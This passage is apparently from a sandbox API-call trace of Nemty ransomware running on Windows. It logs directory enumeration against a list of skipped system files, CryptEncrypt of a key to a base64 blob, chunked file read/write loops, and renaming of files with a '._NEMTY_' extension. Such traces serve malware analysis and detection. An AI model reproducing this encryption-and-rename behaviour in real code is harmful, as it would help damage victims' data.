lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.013] CloseHandle (hObject=0xffffffff) returned 0 [0078.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0078.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0078.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.014] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.014] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".") returned 1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="..") returned 1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="...") returned 1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="windows") returned -1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="rsa") returned -1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="NTDETECT.COM") returned 1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="ntldr") returned 1 [0078.014] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="MSDOS.SYS") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="IO.SYS") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="boot.ini") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="boot.ini") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="ntuser.dat") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="desktop.ini") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="CONFIG.SYS") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="RECYCLER") returned -1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="bootmgr") returned 1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="programdata") returned -1 [0078.015] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="appdata") returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 33 [0078.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 33 [0078.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 33 [0078.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0078.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0078.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 33 [0078.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0078.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0078.016] Sleep (dwMilliseconds=0x5) [0078.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe227e270, dwHighDateTime=0x1d561e7)) [0078.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe227e270, dwHighDateTime=0x1d561e7)) [0078.029] GetLastError () returned 0x5 [0078.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.029] GetLastError () returned 0x5 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0078.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0078.030] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0078.030] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="+KfVqdjNzkvBsKu2dXGlcKqlAndaaWxt+kHbB9KrC9TgCb8laQPiPbtmCEaK94n2\r\nqLekCMQWSAxr7JmpSwXLjGSPEBDt4qMTW5utPgJfpIQzpaeej5EuzXStZ9IJSv/b\r\nz4wWyPBUL1k9oerllZAF7kn1EXDHz9hqfhzK3vFXQe8dpOK2nMH/F6oHciHwnuEu\r\nsKBk8lEBgBDUdznzVKU+c29bwOfy62ryX/N4IsJaIufq/nA6v90uneyv8qg500QB\r\niF28o5tqSYi7snEroTpdIVSpAsnXDlw74qb4+sYPEuWMUhJFc2iXBYlbqHhn26jo\r\nUPBdg7mhXH07QmJ082PLkQ==\r\n", pcchString=0x653ec5c) returned 1 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.030] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.030] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0078.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.138] CloseHandle (hObject=0xffffffff) returned 0 [0078.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0078.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0078.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0078.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0078.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.138] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD 